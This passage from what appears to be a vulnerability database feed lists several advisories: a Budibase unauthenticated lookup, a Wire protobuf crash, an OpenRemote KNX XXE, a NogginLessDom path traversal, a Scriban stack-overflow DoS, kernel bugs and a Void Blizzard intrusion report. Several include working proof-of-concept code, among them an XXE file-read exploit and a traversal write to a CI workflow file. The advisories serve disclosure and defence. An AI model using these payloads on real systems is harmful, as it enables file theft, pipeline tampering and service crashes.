UserCtx<void, LookupTenantUserResponse> ) => { const id = ctx.params.id // is email, check its valid if (id.includes("@") && !emailValidator.validate(id)) { ctx.throw(400, `${id} is not a valid email address to lookup.`) } const user = await userSdk.core.getFirstPlatformUser(id) if (user) { ctx.body = user // Returns full PlatformUser object — no field filtering } else { ctx.throw(400, "No tenant user found.") } } ``` The `id` parameter accepts either an email address (detected by `@` presence) or a user ID. The response returns the **full** `PlatformUser` object from `packages/types/src/documents/platform/users.ts`: ```typescript export interface PlatformUserByEmail extends Document { tenantId: string // Tenant identifier userId: string // Internal user ID } export interface PlatformUserById extends Document { tenantId: string // Tenant identifier email?: string // User email address ssoId?: string // SSO provider identifier } export interface PlatformUserBySsoId extends Document { tenantId: string // Tenant identifier userId: string // Internal user ID email: string // User email address ssoId?: string // SSO provider identifier } ``` The lookup function (`packages/backend-core/src/users/lookup.ts:48-53`) queries the `PLATFORM_USERS_LOWERCASE` CouchDB view with `include_docs: true`, returning the complete platform user document including CouchDB `_id` and `_rev`. **Affected files:** - `packages/worker/src/api/index.ts:56-59` — Public endpoint registration - `packages/worker/src/api/routes/global/users.ts:139` — Route on unauthenticated group - `packages/worker/src/api/controllers/global/users.ts:548-562` — Handler returning full user object - `packages/backend-core/src/users/lookup.ts:48-53` — Platform user lookup with `include_docs: true` - `packages/types/src/documents/platform/users.ts:6-36` — PlatformUser types #### PoC **Static verification:** 1. Observe `packages/worker/src/api/index.ts:56-59`: endpoint in `PUBLIC_ENDPOINTS` with `// TODO: This should be an internal api` 2. Trace handler at `packages/worker/src/api/controllers/global/users.ts:548-562`: no auth checks, returns `ctx.body = user` (full object) 3. Trace middleware chain: all middleware passes through for `ctx.publicEndpoint === true` 4. Confirm no field filtering, sanitization, or authorization between request and response **Dynamic verification (requires running Budibase instance with at least one user):** ```bash # No authentication headers or cookies required # Lookup by email: curl -s http://localhost:4002/api/global/users/tenant/admin@example.com # Response (200 OK): # { # "_id": "admin@example.com", # "_rev": "1-abc123...", # "tenantId": "tenant-uuid-here", # "userId": "us_uuid-here" # } # Lookup by user ID: curl -s http://localhost:4002/api/global/users/tenant/us_someuserid123 # Response (200 OK): # { # "_id": "us_someuserid123", # "_rev": "1-abc123...", # "tenantId": "tenant-uuid-here", # "email": "admin@example.com", # "ssoId": "google-oauth-id" | GCVE Database | |||
| High | 7.5 | EPSS 0.7% | CVE-2026-45799square wire · Improper Validation of Array Index High7.5EPSS 0.7%CVE Database V5CVE-2026-45799 # CVE-2026-45799 ## Maintainer summary Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented `IOException` / `ProtocolException` failure path. This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures. ## Affected artifacts ### `com.squareup.wire:wire-runtime` Affected versions: vulnerable releases before `6.3.0`. Patched versions: `6.3.0` and later. Users should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later. ### `com.squareup.wire:wire-runtime-jvm` Affected versions: vulnerable releases before `6.3.0`. Patched versions: `6.3.0` and later. Users should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later. ### Wire 7 alpha releases The fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix. ## Fix The issue is fixed in Wire `6.3.0`. The fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception. ## Credit Reported by @TrekLaps. ## Technical details The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of `com.squareup.wire:wire-runtime-jvm`. `ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a `LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf varint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter underflows to an invalid negative position. The next `readByte()` accesses the source with that negative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes Wire's documented `IOException` boundary and can crash the request handler. `ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented API may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape the expected error boundary. The originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the discontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate is `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`. ## Root cause In the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the length as a signed `Int` and used it without validating that it was non-negative: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() // returns signed Int and can be negative skip(length) // no negative check } ``` The internal `skip()` implementation then accepted the negative count because the computed position was not greater than the limit: ```kotlin private fun skip(byteCount: Int) { val newPos = pos + byteCount // for example, 7 + (-128) = -121 if (newPos > limit) throw EOFException() pos = newPos // pos = -121 } ``` The next read could then index the source with the invalid negative position: ```kotlin private fun readByte(): Byte { if (pos == limit) throw EOFException() return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException } ``` Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code. The fix adds this validation when skipping groups: ```kotlin STATE_LENGTH_DELIMITED -> { val length = internalReadVarint32() if (length < 0) throw ProtocolException("Negative length: $length...") skip(length) } ``` The fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`. ## Reproduction The following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as `5.3.1` and `5.3.3`: ```bash curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar ``` ```java // WirePoc.java import com.squareup.wire.AnyMessage; public class WirePoc { public static void main(String[] args) throws Exception { byte[] payload = new byte[] { (byte) 0x9B, 0x06, // field 99, START_GROUP 0x0A, | CVE Database V5 | ||
| High | 7.6 | EPSS 0.2% | High7.6EPSS 0.2%GCVE Database ### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. **Patched file — AbstractVelbusProtocol.java:** ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` **Vulnerable file — KNXProtocol.java, lines 229–249:** ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` ### Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` ### Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** | ### PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. **Requirements:** Java 17+, Maven 3.8+ **pom.xml dependency:** ```xml <dependency> <groupId>net.sf.saxon</groupId> <artifactId>Saxon-HE</artifactId> <version>12.9</version> </dependency> ``` **Exploit.java:** ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "<root><data>&xxe;</data></root>"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" + "<xsl:output method=\"text\"/>" + "<xsl:tem | GCVE Database | ||
| High | 8.7 | High8.7GCVE Database ## Summary The `matchFileSnapshot` function in `src/assertions/snapshots.ts` accepted a `filePath` parameter with zero validation. When snapshot update mode was active (`UPDATE_SNAPSHOTS=1` or `setUpdateMode('all')`), an attacker who controls test input could write arbitrary content to any filesystem path the process has write access to, including creating intermediate directories. ## Affected Code **File:** `src/assertions/snapshots.ts`, lines 732-769 ```typescript export function matchFileSnapshot(actual: unknown, filePath: string): void { const serialized = serialize(actual); const mode = resolveUpdateMode(); const fileExists = fs.existsSync(filePath); if (!fileExists) { if (mode === 'all' || mode === 'new') { const dir = path.dirname(filePath); if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }); } fs.writeFileSync(filePath, serialized, 'utf-8'); ``` The `filePath` flows from `expect(value).toMatchFileSnapshot(filePath)` at `index.ts:1033-1035` with no sanitization, no check that the path is within an expected directory, and no symlink resolution. ## Proof of Concept ```typescript import { expect, setUpdateMode } from '@asymmetric-effort/nogginlessdom'; setUpdateMode('all'); // Writes arbitrary content to any writable path expect('malicious content').toMatchFileSnapshot('/tmp/exploit/payload.txt'); // Path traversal via relative components expect('data').toMatchFileSnapshot('../../../tmp/evil.txt'); // In CI environments, could overwrite CI config expect('injected step').toMatchFileSnapshot('/home/runner/.github/workflows/backdoor.yml'); ``` ## Impact In CI/CD environments where test files may come from untrusted pull requests, this allows writing to any writable filesystem location with directory creation. An attacker could overwrite configuration files, inject code into build artifacts, or modify CI pipeline definitions. ## Fix Fixed in commit https://github.com/asymmetric-effort/NogginLessDom/commit/785e6ac6e124d1a89b3ccf40bbd75fc8e4cb215d on `main`. The `matchFileSnapshot` function now validates that the resolved file path is within the project root directory (defaults to `process.cwd()`, configurable via optional `projectRoot` parameter). Paths that resolve outside the project directory are rejected with a descriptive error. ```typescript export function matchFileSnapshot( actual: unknown, filePath: string, projectRoot?: string, ): void { const root = projectRoot ?? process.cwd(); const resolved = path.resolve(root, filePath); if (!resolved.startsWith(root + path.sep) && resolved !== root) { throw new Error( `File snapshot path must be within the project directory: ${filePath}`, ); } // ... all subsequent file I/O uses `resolved` instead of `filePath` } ``` | GCVE Database | |||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%CVE Database V5CVE-2026-53356 CVE-2026-53356 is a high-severity vulnerability in the Linux kernel's drm/i915/gem component. It involves incorrect handling of physical buffer object (BO) pread/pwrite operations with offsets due to improper scaling caused by sg_page() returning a struct page pointer instead of a void pointer. This flaw could cause wrong parts of the BO to be accessed when a non-zero offset is used. The last affected platforms include Gen3/945G/Lakeport with overlay or cursor planes using physical mapping. The issue has been fixed in multiple Linux kernel commits. | CVE Database V5 | ||
| Medium | 6.9 | Medium6.9GCVE Database ### Summary The `ExpressionDepthLimit` parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting `StackOverflowException` is **uncatchable** in .NET and **immediately terminates the host process**. Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to `object.eval` / `object.eval_template` — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (`Template.Parse`) and Liquid (`Template.ParseLiquid`) syntax modes, which share the same expression parser. This re-opens two advisories that were reported as fixed: **GHSA-wgh7-7m3c-fx25** ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and **GHSA-p6q4-fgr8-vx4p** ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. **All releases 6.6.0 through 7.2.0 (current) are affected.** ### Details The depth guard is `EnterExpression()` in `src/Scriban/Parsing/Parser.Expressions.cs`: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:1209-1218 private void EnterExpression() { _expressionDepth++; var limit = Options.ExpressionDepthLimit; if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit) { LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement"); _isExpressionDepthLimitReached = true; } } ``` When the limit is exceeded it calls `LogError(...)` and sets a flag. It does **not** throw, does **not** return a sentinel, and does **not** unwind the parse. `LogError` here uses the default `isFatal: false`, so it merely appends a message and sets `HasErrors` — parsing proceeds: ```csharp // src/Scriban/Parsing/Parser.cs:476-488 private void Log(LogMessage logMessage, bool isFatal = false) { Messages.Add(logMessage); if (logMessage.Type == ParserMessageType.Error) { HasErrors = true; if (isFatal) _hasFatalError = true; // not set on the depth-limit path } } ``` The flag `_isExpressionDepthLimitReached` is consulted **only** to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (`grep -rn "_isExpressionDepthLimitReached" src/`): it appears in exactly four places — the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check: ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182 EnterExpression(); try { ... case TokenType.OpenParen: leftOperand = ParseParenthesis(); // recurses back into ParseExpression ``` ```csharp // src/Scriban/Parsing/Parser.Expressions.cs:984-1001 private ScriptExpression ParseParenthesis() { var expression = Open<ScriptNestedExpression>(); ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen); expression.Expression = ExpectAndParseExpression(expression); // -> ParseExpression -> ParseParenthesis -> ... ... } ``` Both `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected. So for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation. The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows. The existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS. **Runtime reachability without | GCVE Database | |||
| Critical | 9.8 | EPSS 0.4% | Critical9.8EPSS 0.4%GCVE DatabaseCVE-2026-52989 In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: propagate nvmet_tcp_build_pdu_iovec() errors to its callers Currently, when nvmet_tcp_build_pdu_iovec() detects an out-of-bounds PDU length or offset, it triggers nvmet_tcp_fatal_error(cmd->queue) and returns early. However, because the function returns void, the callers are entirely unaware that a fatal error has occurred and that the cmd->recv_msg.msg_iter was left uninitialized. Callers such as nvmet_tcp_handle_h2c_data_pdu() proceed to blindly overwrite the queue state with queue->rcv_state = NVMET_TCP_RECV_DATA Consequently, the socket receiving loop may attempt to read incoming network data into the uninitialized iterator. Fix this by shifting the error handling responsibility to the callers. EPSS 0.4%Vulnerability | GCVE Database | ||
| –Not rated | – | AlienVault OTX General An FBI investigation identified Denis Nikolayevich Obrezko, a Russian national, as facilitating cyber intrusions conducted by the Russia-aligned threat group Void Blizzard. Between June and July 2024, multiple U.S. companies across various sectors were targeted in a large-scale cyber espionage campaign involving mass email harvesting and unauthorized access. The threat actors utilized stolen session tokens, proxy services, and VPNs to authenticate to victim Office 365 environments and exfiltrate data. Obrezko allegedly obtained critical infrastructure including a virtual private server and domain registration used in these attacks. FBI investigation linked Obrezko through cryptocurrency transactions, email accounts, phone numbers, and IP addresses to domains and infrastructure used in the intrusion campaign. Eleven U.S. companies have confirmed unauthorized access, representing only a fraction of suspected victims nationwide. | AlienVault OTX General |
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